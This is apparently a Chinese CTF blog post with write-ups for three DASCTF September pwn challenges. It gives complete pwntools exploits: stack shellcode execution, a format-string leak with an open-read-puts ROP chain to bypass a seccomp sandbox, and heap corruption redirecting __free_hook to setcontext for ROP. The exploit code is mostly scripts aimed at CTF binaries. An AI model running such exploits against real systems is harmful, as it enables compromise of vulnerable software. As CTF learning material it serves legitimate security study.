【pwn】DASCTF Sept 月赛

1、hehepwn

先查看保护,栈可执行,想到shellcode

这题需要注意shellcode的写法

拖入ida中分析

一直以为iso scanf不能栈溢出,后来发现我是shabi

先进入sub_4007F9()函数

有个read函数,恰好读完s数组,由于printf是碰到\x00截断,所以如果我们输满0x20个padding就可以读取一个栈地址

我们可以把shellcode写入scanf输入的地址中,通过创建fake ret地址进行rip迁移,而这个栈中存有我们写入的shellcode

我们先调试出scanf的输入地址,然后计算它与leak出来的stack地址的偏移

那么算完了我们开始构建payload(shellcode)

shellcode1 = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05".ljust(0x50,b"b")
shellcode = shellcode1
shellcode += b"bi0xbi0x"+p64(stack-0x50)

前半部分的可见字符的27字节的shellcode是在shellcode storm中找到的,是我见过最短的execve("/bin/sh")了

这里先填充8字节的padding(rbp),再写入fake rip,覆盖返回地址

或者换用flat写法

shellcode = flat({0:shellcode1, 0x58: stack - 0x50})

exp如下:

from pwn import *
import sys
from LibcSearcher import *
context.log_level='debug'
context.arch='amd64' def ret2libc(leak,func,path=''):
if path == '':
libc = LibcSearcher(func,leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = path
libc.address = leak - libc.sym[func]
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
return (system,binsh) s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io) if len(sys.argv) == 3:
io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
if ':' in sys.argv[1]:
rmt = sys.argv[1].split(':')
io = remote(rmt[0], rmt[1])
else:
io = process(sys.argv[1])
elf = ELF(sys.argv[1])
else:
io = process('./bypwn') elf = ELF("./bypwn") sa(":",b"b"*(0x20-1)+b"a")
ru("a")
stack = uu64(r(6))
leak("stack",stack)
# dbg()
shellcode1 = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05".ljust(0x50,b"b")
shellcode = shellcode1
shellcode += b"bi0xbi0x"+p64(stack-0x50) sla("~",shellcode)
# sla("~",flat({0:shellcode1, 0x58: stack - 0x50})) ia()

2、hahapwn

(感谢pwn神师傅niyah的wp和指点!)

这题就是开了沙箱,execve给ban了,不然就是最简单的ret2libc

既然execv给ban了,那么就用orw

比较坑的就是给的libc版本错误,自己用libcsearcher搜出来是下图版本

思路就是用fmt泄露canary和一个栈地址,还有__libc_start_main+240的地址用来泄露libc_base

然后用rop链写一个orw,函数里有puts就不用麻烦的写一个write了

exp来自pwn神师傅的wp

from pwn import *
import sys
from LibcSearcher import *
context.log_level='debug'
context.arch='amd64' def ret2libc(leak,func,path=''):
if path == '':
libc = LibcSearcher(func,leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = path
libc.address = leak - libc.sym[func]
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
return (system,binsh) s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io) if len(sys.argv) == 3:
io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
if ':' in sys.argv[1]:
rmt = sys.argv[1].split(':')
io = remote(rmt[0], rmt[1])
else:
io = process(sys.argv[1])
elf = ELF(sys.argv[1])
else:
io = process('./pwn') elf = ELF("./pwn") offset = 6
sa("?","%27$p,%28$p,%39$p")
ru("0x")
canary = i16(ru("00",False))
leak("canary",canary)
ru("0x")
stack = i16(r(12))
leak("stack",stack)
ru("0x")
libc_start_main = i16(r(12)) - 240
leak("libc_start_main",libc_start_main) # libc = LibcSearcher("read",read_addr)
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
libc.address = libc_start_main - libc.sym["__libc_start_main"]
open_addr = libc.sym["open"]
puts_addr = libc.sym["puts"]
read_addr = libc.sym["read"]
# base = read_addr - libc.dump("read")
# open_addr = base + libc.dump("open")
# puts_addr = base + libc.dump("puts")
# read_addr = base + libc.dump("read")
# dbg() syscall = next(libc.search(asm("syscall")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rax_ret = next(libc.search(asm("pop rax; ret")))
pop_rdx_ret = next(libc.search(asm("pop rdx; ret")))
pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret"))) flag_addr = stack + 0xb8 orw = flat([
pop_rdi, flag_addr, pop_rsi, 0, open_addr,
pop_rdi, 3, pop_rsi, flag_addr, pop_rdx__rbx_ret, 0x100, 0, read_addr,
pop_rdi, flag_addr, puts_addr
]).ljust(0x100,b"B") + b"flag\x00"
# dbg() payload = b"b"*(0x70-0x8) + p64(canary) + b"bi0xbi0x" + orw sla("?",payload) ia()

简单说一下为什么flag_addr = stack + 0xb8,因为我们后面输入的位置+0x70+0x8+0x100和stack + 0xb8的位置相等,这样我们就可以读取到输入的flag这个地址了

也就是flag_addr = stack + 0xb8这个位置就是我们orw里写的b"flag\x00"的位置,这个是动调出来的

自己在本地写了一个臭flag

3、datasystem

今天破事一堆,先复现了一个exp,是没学过的覆盖free_hook为setcontext+53,从而进行rop的操作,学到了学到了~

因为开了沙箱,无法执行system和execve,所以常规的free_hook和malloc_hook写入one_gadget是没法用的,用了船新的没见过的setcontext,这几天有时间再去研究细唆!



setcontext的汇编如下,可以看到能对很多寄存器赋值

exp来自DASCTF-Sept-X-浙江工业大学秋季挑战赛-pwn-wp

也是一个超级厉害的师傅!

from pwn import *
import sys
from LibcSearcher import *
context.log_level='debug'
context.arch='amd64' def ret2libc(leak,func,path=''):
if path == '':
libc = LibcSearcher(func,leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = path
libc.address = leak - libc.sym[func]
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
return (system,binsh) s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io) if len(sys.argv) == 3:
io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
if ':' in sys.argv[1]:
rmt = sys.argv[1].split(':')
io = remote(rmt[0], rmt[1])
else:
io = process(sys.argv[1])
elf = ELF(sys.argv[1])
else:
io = process('./datasystem') elf = ELF("./datasystem")
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so") def getpwd():
for c in range(0x100):
c = c.to_bytes(1, 'big')
p = process('./datasystem')
p.sendafter("please input username: ", "admin\x00")
p.sendafter("please input password: ", c*32)
msg = p.recvline()
if b"Fail" not in msg:
print('='*60)
print("a valid char:", c)
print('='*60)
p.close()
return c*32
p.close() def login():
pwd = getpwd()
sla("username","admin\x00")
sla("password",pwd) def add(size,content="a"):
sla(">>","1")
sla("Size",str(size))
sla("Content",content) def free(index):
sla(">>","2")
sla("Index",str(index)) def show(index):
sla(">>","3")
sla("Index",str(index)) def edit(index,content):
sla(">>","4")
sla("Index",str(index))
sa("Content",content) login() add(0x420) # 0 unsorted bin
add(0x10) # 1 free(0) # get unsorted bin add(0x8) # 0
edit(0,"b"*7+"x") show(0) # leak libc_base
ru("x")
libc_base = uu64(ru("\x7f",False))-0x3ec090
leak("libc_base",libc_base) libc.address = libc_base read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
free_hook = libc.sym["__free_hook"]
setcontext = libc.sym['setcontext'] + 53 ret = next(libc.search(asm('ret')))
syscall = next(libc.search(asm("syscall")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rax_ret = next(libc.search(asm("pop rax; ret")))
pop_rdx_ret = next(libc.search(asm("pop rdx; ret")))
pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret"))) add(0x20) # 2
free(2)
free(0) payload = b"bi0xbi0x"*2 + p64(0) + p64(0x311) + p64(free_hook-0x200)
add(0x10,payload) # 0
# dbg()
add(0x20) # 2 payload = flat({
0x200: setcontext,
0x100: 0x23330000,
0xa0: free_hook - 0x100,
0x68: 0,
0x70: 0x23330000,
0x88: 0x200,
0xa8: read_addr
}, filler="\x00") add(0x20,payload) # 3 free(3) time.sleep(0.5) sl(asm(shellcraft.cat("flag"))) ia()

9.30更新:

又复现了pwn神师傅的exp:

from pwn import *
import sys
from LibcSearcher import *
# context.log_level='debug'
context.arch='amd64' def ret2libc(leak,func,path=''):
if path == '':
libc = LibcSearcher(func,leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = path
libc.address = leak - libc.sym[func]
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
return (system,binsh) s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io) if len(sys.argv) == 3:
io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
if ':' in sys.argv[1]:
rmt = sys.argv[1].split(':')
io = remote(rmt[0], rmt[1])
else:
io = process(sys.argv[1])
elf = ELF(sys.argv[1])
else:
io = process('./datasystem') elf = ELF("./datasystem")
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so") def getpwd():
for c in range(0x100):
c = c.to_bytes(1, 'big')
p = process('./datasystem')
p.sendafter("please input username: ", "admin\x00")
p.sendafter("please input password: ", c*32)
msg = p.recvline()
if b"Fail" not in msg:
print('='*60)
print("a valid char:", c)
print('='*60)
p.close()
return c*32
p.close() def login():
pwd = getpwd()
sla("username","admin\x00")
sla("password",pwd) def add(size,content="a"):
sla(">>","1")
sla("Size",str(size))
sla("Content",content) def free(index):
sla(">>","2")
sla("Index",str(index)) def show(index):
sla(">>","3")
sla("Index",str(index)) def edit(index,content):
sla(">>","4")
sla("Index",str(index))
sa("Content",content) login() add(0x420) # 0 unsorted bin
add(0x10) # 1 free(0) # get unsorted bin add(0x8) # 0
edit(0,"b"*7+"x") show(0) # leak libc_base
ru("x")
libc_base = uu64(ru("\x7f",False))-0x3ec090
leak("libc_base",libc_base) libc.address = libc_base read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
free_hook = libc.sym["__free_hook"]
setcontext = libc.sym['setcontext'] + 53 ret = next(libc.search(asm('ret')))
syscall = next(libc.search(asm("syscall")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rax_ret = next(libc.search(asm("pop rax; ret")))
pop_rdx_ret = next(libc.search(asm("pop rdx; ret")))
pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret"))) add(0x20) # 2
free(2)
free(0) payload = b"bi0xbi0x"*2 + p64(0) + p64(0x301) + p64(free_hook)
add(0x10,payload) # 0
# dbg()
add(0x20)
# dbg() flag_addr = free_hook + 0x150 # orw
orw = flat(
pop_rdi , flag_addr , pop_rsi , 0 , open_addr,
pop_rdi , 3 , pop_rsi , flag_addr , pop_rdx__rbx_ret , 0x100 , 0 , read_addr,
pop_rdi , flag_addr , puts_addr
) # print(hex(len(orw)))
# free_hook改为setcontext+53,然后将setcontex+0xa0的位置改为orw的位置,将+0xa8的位置改为ret的地址
payload = p64(setcontext) + orw + p64(0)*3 + p64(free_hook+8) + p64(ret)
# print(hex(len(payload)))
add(0x20,payload.ljust(0x150,b"\x00") + b"flag\x00")
# dbg()
free(3) ia()

【pwn】DASCTF Sept 九月赛的更多相关文章

  1. DASCTF 安恒七月赛wp

    web Ezfileinclude 首页一张图片,看src就可以看出文件包含 验证了时间戳 尝试用php://filter 读源码读不到,以为只能读.jpg,然后用../路径穿越有waf 最后居然一直 ...

  2. DASCTF七月赛两道Web题复现

    Ezfileinclude(目录穿越) 拿到http://183.129.189.60:10012/image.php?t=1596121010&f=Z3F5LmpwZw== t是时间,可以利 ...

  3. 安恒月赛WP

    一月 一叶飘零大佬的WP:安恒月赛一月 二进制部分:zjgcjy大佬的WP reverse1更容易理解的一种解法 pwn1详解 二月 一叶飘零WP 二进制部分: reverse Pwn 三月 ...

  4. CTF-安恒19年二月月赛部分writeup

    CTF-安恒19年二月月赛部分writeup MISC1-来玩个游戏吧 题目: 第一关,一眼可以看出是盲文,之前做过类似题目 拿到在线网站解一下 ??41402abc4b2a76b9719d91101 ...

  5. 如何一步一步用DDD设计一个电商网站(九)—— 小心陷入值对象持久化的坑

    阅读目录 前言 场景1的思考 场景2的思考 避坑方式 实践 结语 一.前言 在上一篇中(如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成),有一行注释的代码: public interfa ...

  6. 谈谈一些有趣的CSS题目(九)-- 巧妙的实现 CSS 斜线

    开本系列,谈谈一些有趣的 CSS 题目,题目类型天马行空,想到什么说什么,不仅为了拓宽一下解决问题的思路,更涉及一些容易忽视的 CSS 细节. 解题不考虑兼容性,题目天马行空,想到什么说什么,如果解题 ...

  7. CRL快速开发框架系列教程九(导入/导出数据)

    本系列目录 CRL快速开发框架系列教程一(Code First数据表不需再关心) CRL快速开发框架系列教程二(基于Lambda表达式查询) CRL快速开发框架系列教程三(更新数据) CRL快速开发框 ...

  8. Python(九)Tornado web 框架

    一.简介 Tornado 是 FriendFeed 使用的可扩展的非阻塞式 web 服务器及其相关工具的开源版本.这个 Web 框架看起来有些像web.py 或者 Google 的 webapp,不过 ...

  9. 我的MYSQL学习心得(九) 索引

    我的MYSQL学习心得(九) 索引 我的MYSQL学习心得(一) 简单语法 我的MYSQL学习心得(二) 数据类型宽度 我的MYSQL学习心得(三) 查看字段长度 我的MYSQL学习心得(四) 数据类 ...

随机推荐

  1. 小迪安全 Web安全 基础入门 - 第五天 - 资产架构&端口&应用&CDN&WAF&站库分离&负载均衡

    一.资产架构 1.Web单个源码指向安全,域名指向一个网站,网站对应一个程序.对应一个目录. 2.Web多个目录源码安全,搭建完一个网站后,在网站目录下搭建新的站点. 3.Web多个端口源码安全,与多 ...

  2. LuoguP1785 漂亮的绝杀 题解

    Content 因太占排版,请自己去题面查看. Solution 声明:以下和题面相同的变量的意义均和题面相同. 这个题目 \(\texttt{if}\) 操作很多,其他的就是纯模拟. 首先,我们先判 ...

  3. java 编程基础 Class对象 反射 :参数反射

    方法参数反射 Java8在java.lang.reflect包下新增了Executable抽象基类,该对象代表可执行的类成员,该类派生了Constructor和Method两个子类.Executabl ...

  4. 前端文本框插件KindEditor

    KindEditor   1.进入官网 2.下载 官网下载:http://kindeditor.net/down.php 本地下载:http://files.cnblogs.com/files/wup ...

  5. 金山云主机centos7.4根目录挂载文件书写错误无法进入系统解决办法

    由于/etc/fstab写错,根目录无法挂载,开机提示如下 处理办法: 根据提示输入root密码: 执行mount -o remount,rw /重新挂载根目录. vim 修改挂载文件 reboot重 ...

  6. 使用iframe内嵌PC网站实现高度自适应

    加个样式 <style> iframe { display: block; border: none; height: 90vh;/*设置高度百分比,一直调到只有一个滚动调为止*/ wid ...

  7. 海康威视Java SDK拉流(一)初始化SDK

    19年的时候做了一个视频分析的产品,用户使用的安防摄像机基本的都是海康大华宇视,今天写一下关于Java调用海康威视摄像机的demo,当时也踩了很多坑.写个博客记录一下 测试环境: 系统:Centos ...

  8. 【LeetCode】1423. 可获得的最大点数 Maximum Points You Can Obtain from Cards (Python)

    作者: 负雪明烛 id: fuxuemingzhu 公众号:每日算法题 本文关键词:LeetCode,力扣,算法,算法题,滑动窗口,递归,前缀和,preSum,刷题群 目录 题目描述 解题思路 递归 ...

  9. 【LeetCode】666. Path Sum IV 解题报告 (C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 DFS 日期 题目地址:https://leetcod ...

  10. 【LeetCode】945. Minimum Increment to Make Array Unique 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 暴力求解,TLE 一次遍历 日期 题目地址:http ...